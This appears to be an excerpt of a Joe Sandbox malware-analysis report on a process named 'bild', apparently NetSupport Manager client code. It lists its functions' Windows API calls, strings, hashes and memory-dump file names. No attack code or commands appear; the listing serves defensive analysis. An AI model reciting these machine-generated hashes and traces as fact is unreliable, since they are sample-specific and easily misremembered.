ClientToScreen.USER32(?,110BFEBC), ref: 110B9066
SetCursorPos.USER32(110BFEBC,110BFEBC,?,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC), ref: 110B9074
LoadCursorA.USER32(00000000,00007F00), ref: 110B9081
SetCursor.USER32(00000000,?,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC,110BFEBC), ref: 110B9088

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Cursor$RectWindow$ClientForegroundLoadScreen
String ID:
API String ID: 3235510773-0
Opcode ID: 49be05b7fef80b05594cc908f0611ebf12c6680a206dc75da7e7ca7dce7ec318
Instruction ID: ad301b5eb86ee9d8d5bbe419ceb9c49b4424cf1b2c79503272c3df1ff599c8d2
Opcode Fuzzy Hash: 49be05b7fef80b05594cc908f0611ebf12c6680a206dc75da7e7ca7dce7ec318
Instruction Fuzzy Hash: 8C112EB5E1421A9FCB08DFB4C884DBFF7B8FB84305B108669E52297244DB34E905CBA4

Function 1100B270 Relevance: 10.6, APIs: 7, Instructions: 54COMMON

Download Yara Rule

APIs

InterlockedDecrement.KERNEL32(?), ref: 1100B280
EnterCriticalSection.KERNEL32(?,?,1100BE6B,?,00000000,00000002), ref: 1100B2B9
EnterCriticalSection.KERNEL32(?,?,1100BE6B,?,00000000,00000002), ref: 1100B2D8

Part of subcall function 1100A1D0: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?), ref: 1100A1EE
Part of subcall function 1100A1D0: DeviceIoControl.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?), ref: 1100A218
Part of subcall function 1100A1D0: GetLastError.KERNEL32 ref: 1100A220
Part of subcall function 1100A1D0: WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 1100A234
Part of subcall function 1100A1D0: CloseHandle.KERNEL32(00000000), ref: 1100A23B

waveOutUnprepareHeader.WINMM(00000000,?,00000020,?,1100BE6B,?,00000000,00000002), ref: 1100B2E8
LeaveCriticalSection.KERNEL32(?,?,1100BE6B,?,00000000,00000002), ref: 1100B2EF
_free.LIBCMT ref: 1100B2F8
_free.LIBCMT ref: 1100B2FE

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CriticalSection$Enter_free$CloseControlCreateDecrementDeviceErrorEventHandleHeaderInterlockedLastLeaveObjectSingleUnprepareWaitwave
String ID:
API String ID: 705253285-0
Opcode ID: 79ddf153cfec84683290dd42533ea7b8c8eeaab96dddec7867e8baf6a8b692f2
Instruction ID: 1708c8f2d16fe6171f6400e7ced1c046c931d624ac1b1599b235a4591b72ed62
Opcode Fuzzy Hash: 79ddf153cfec84683290dd42533ea7b8c8eeaab96dddec7867e8baf6a8b692f2
Instruction Fuzzy Hash: 06117075904719ABE711CE70CC88BEFB3ECEB48399F000529FA6656144D774B545CB61

Function 1101D0F0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 41registrywindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1101D0FE
LoadIconA.USER32(00000000,0000139A), ref: 1101D14F
LoadCursorA.USER32(00000000,00007F00), ref: 1101D15F
RegisterClassExA.USER32(00000030), ref: 1101D181
GetLastError.KERNEL32 ref: 1101D187

Strings

0, xrefs: 1101D10C

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Load$ClassCursorErrorIconLastRegister_memset
String ID: 0
API String ID: 430917334-4108050209
Opcode ID: a999cde5bf51422c53d54c5e2b81da0a739011e508cf178ac43a94cfc9df5e13
Instruction ID: 594e7871e039520b7580a936d726e641a3743c14917196a6b4ce4aa29f199296
Opcode Fuzzy Hash: a999cde5bf51422c53d54c5e2b81da0a739011e508cf178ac43a94cfc9df5e13
Instruction Fuzzy Hash: 9C018C74C1431DABEF00EFF0C899BDEFBB8AB04708F104029E521BA284E7BA51048F95

Function 11003310 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 35windowCOMMON

Download Yara Rule

APIs

LoadMenuA.USER32(00000000,00002EFD), ref: 1100331D
GetSubMenu.USER32(00000000,00000000), ref: 11003343
DestroyMenu.USER32(00000000), ref: 11003372

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

hSub, xrefs: 11003359
hMenu, xrefs: 11003333
..\CTL32\annotate.cpp, xrefs: 1100332E, 11003354

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Menu$DestroyErrorExitLastLoadMessageProcesswsprintf
String ID: ..\CTL32\annotate.cpp$hMenu$hSub
API String ID: 468487828-934300333
Opcode ID: e42f28694fc46f4086300125048bfedf8bbbd82d4e050df1718e76ccc8693524
Instruction ID: e80103f9713123d07a9bceb05cb6f887813353322251b2c4d1aa2998eabbc516
Opcode Fuzzy Hash: e42f28694fc46f4086300125048bfedf8bbbd82d4e050df1718e76ccc8693524
Instruction Fuzzy Hash: E5F0A73EF9466933D31666F53D1AF4BAB485B815ACB060031F524EA740EE14B4018166

Function 11147110 Relevance: 9.0, APIs: 6, Instructions: 48threadsynchronizationCOMMON

Download Yara Rule

APIs

OpenThread.KERNEL32(0000004A,00000000,11147278,?,?,?,?,?,11147278), ref: 1114713A
CreateThread.KERNEL32(00000000,00001000,111470B0,?,00000000,?), ref: 1114715E
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?,?,?,11147278), ref: 11147169
GetExitCodeThread.KERNEL32(00000000,00000000,?,?,?,?,?,?,11147278), ref: 11147174
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,11147278), ref: 11147181
CloseHandle.KERNEL32(?,?,?,?,?,?,?,11147278), ref: 11147187

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Thread$CloseHandle$CodeCreateExitObjectOpenSingleWait
String ID:
API String ID: 180989782-0
Opcode ID: f968cd3be34acbbfc001fc2c5c2cf1c984ef6abb93f92428a018694f843edebd
Instruction ID: 262247fb5796f255492f056fed215dfab2d13c04184fcb9cbdc2136a2e7489e8
Opcode Fuzzy Hash: f968cd3be34acbbfc001fc2c5c2cf1c984ef6abb93f92428a018694f843edebd
Instruction Fuzzy Hash: 6901FA75D14219ABDB04DFA8C845BAEBBB8EF08710F108166F924E7284D774AA018B91

Function 110B3090 Relevance: 9.0, APIs: 6, Instructions: 42synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,111F00F8,111E5C98,?,110B754E,00000000,_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B30A8
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,110B7594), ref: 110B30B5
CloseHandle.KERNEL32(?,111F00F8,111E5C98,?,110B754E,00000000,_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B30C8
CloseHandle.KERNEL32(?,111F00F8,111E5C98,?,110B754E,00000000,_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B30D5
WaitForSingleObject.KERNEL32(?,000003E8,111F00F8,111E5C98,?,110B754E,00000000,_debug,TraceScrape,00000000,00000000,00000000,?), ref: 110B30F3
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,110B7594), ref: 110B3100

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventObjectSingleWait
String ID:
API String ID: 2857295742-0
Opcode ID: de728af195af138cefa6dff90218103564fc584f7cc06855e29f8d807c559bfa
Instruction ID: 8ed48fa67f8c8c814876f8dc7215a606f8693e2702a4d531ac155f54366f369e
Opcode Fuzzy Hash: de728af195af138cefa6dff90218103564fc584f7cc06855e29f8d807c559bfa
Instruction Fuzzy Hash: 46011A75A087049BE7A0DFB988D4A96F7ECEF58300F11592EE5AAC3200CB78B8448F50

Function 110770E0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 111COMMON

Download Yara Rule

APIs

MapWindowPoints.USER32(?,00000000,?,00000002), ref: 1107712B

Part of subcall function 11076470: DeferWindowPos.USER32(8B000EA9,00000000,D8E85BC0,33CD335E,?,00000000,33CD335E,110771C6), ref: 110764B3

EqualRect.USER32(?,?), ref: 1107713C
SetWindowPos.USER32(00000000,00000000,?,33CD335E,D8E85BC0,8B000EA9,00000014,?,?,?,?,?,1107731A,00000000,?), ref: 11077196

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11077172
m_hWnd, xrefs: 11077177

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Window$DeferEqualPointsRect
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2754115966-2830328467
Opcode ID: 99985b2635142920f8b9c22496a84f2b0050643658386b35a5a33d160634cd24
Instruction ID: 41b5b1a8551b5e1f2f99f8414896ea4fcac58e3e889cf17ca758b789060a613c
Opcode Fuzzy Hash: 99985b2635142920f8b9c22496a84f2b0050643658386b35a5a33d160634cd24
Instruction Fuzzy Hash: E0413EB5A006099FDB14CFA9C884EAAFBF5FF88704F108559E9559B344D770AD00CBA4

Function 11089150 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(00000000,00001770,0000000A), ref: 1108918F
LoadResource.KERNEL32(00000000,00000000,?,00000000,?,110CEF56,?), ref: 110891A4
LockResource.KERNEL32(00000000,?,00000000,?,110CEF56,?), ref: 110891D6

Strings

hMap, xrefs: 110891BD
..\ctl32\Errorhan.cpp, xrefs: 110891B8, 110891E7

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Resource$FindLoadLock
String ID: ..\ctl32\Errorhan.cpp$hMap
API String ID: 2752051264-327499879
Opcode ID: 822e2482afd153fa47cf4ddbc35e772a2b3a06937125cb698dae634270013ce3
Instruction ID: ac104577f0cb8d44e6482e86c7e4f76e51294e6aac98140987b3b76ba3c25106
Opcode Fuzzy Hash: 822e2482afd153fa47cf4ddbc35e772a2b3a06937125cb698dae634270013ce3
Instruction Fuzzy Hash: 08110D3AF4C22556DB12EBE9AC45B69B7E89BC07A8B410475FC6CD71C4FA61D440C3E1

Function 11143110 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000100,00000000), ref: 1114314B
_strrchr.LIBCMT ref: 1114315A
_strrchr.LIBCMT ref: 1114316A
wsprintfA.USER32 ref: 11143185

Part of subcall function 111456A0: GetModuleHandleA.KERNEL32(NSMTRACE,11194AB8), ref: 111456BA

Strings

BILD, xrefs: 11143180, 1114318E, 11143195, 111431C2

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Module_strrchr$FileHandleNamewsprintf
String ID: BILD
API String ID: 2529650285-1114602597
Opcode ID: 832b53a00f043e857d3b8e09e9a2ce5d770147cd639c4bf1822df3017942b825
Instruction ID: d978b5afe12e8555e920acd6faf46f6bc40337599c773746d871781ff4fb06a8
Opcode Fuzzy Hash: 832b53a00f043e857d3b8e09e9a2ce5d770147cd639c4bf1822df3017942b825
Instruction Fuzzy Hash: DD21DD31A182698FE712EF348D407DAFBB4DF15B0CF2000D8D8850B182D7716885C7A0

Function 11065340 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 70COMMON

Download Yara Rule

APIs

GetProfileStringA.KERNEL32(Windows,Device,No default printer,,LPT1:,?,00000050), ref: 11065366
_memmove.LIBCMT ref: 110653B1

Strings

No default printer,,LPT1:, xrefs: 11065357
Windows, xrefs: 11065361
Device, xrefs: 1106535C

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ProfileString_memmove
String ID: Device$No default printer,,LPT1:$Windows
API String ID: 1665476579-2460060945
Opcode ID: b42f47fad53366f1e4ac447008a1a2d6fd591c8f9db6545ab0f545fe689f24a8
Instruction ID: a358cf5610f4a81608be9fe47ec1da84b056d0ceaed1d9bd2f397f709d6f9fc8
Opcode Fuzzy Hash: b42f47fad53366f1e4ac447008a1a2d6fd591c8f9db6545ab0f545fe689f24a8
Instruction Fuzzy Hash: 0E119E35D002669AD700CFB0DC45BFEBBACDF01788F144158DC869B240EAF22609C3E1

Function 110450BD Relevance: 7.9, APIs: 5, Instructions: 401COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 11045345
SysFreeString.OLEAUT32(?), ref: 110453E5
SysFreeString.OLEAUT32(?), ref: 110453F4
_memset.LIBCMT ref: 1104545F
SysFreeString.OLEAUT32(?), ref: 110454BA

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: FreeString$__wcsicoll_memset
String ID:
API String ID: 3719176846-0
Opcode ID: 441a99ce500d99f467cd7fd3aeec64a7d709f35996a15428944c20697e7ebd2f
Instruction ID: f73372903cd30c0382670b71593fb0b3797c4e2875fb117f6f51c869b4ccb2fb
Opcode Fuzzy Hash: 441a99ce500d99f467cd7fd3aeec64a7d709f35996a15428944c20697e7ebd2f
Instruction Fuzzy Hash: 53A10A75E006299FCB21CF59CC84ADEB7B9AF89305F2045D9E50DAB610DB32AE85CF50

Function 11045160 Relevance: 7.8, APIs: 5, Instructions: 258COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 11045345
SysFreeString.OLEAUT32(?), ref: 110453E5
SysFreeString.OLEAUT32(?), ref: 110453F4
_memset.LIBCMT ref: 1104545F
SysFreeString.OLEAUT32(?), ref: 110454BA

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
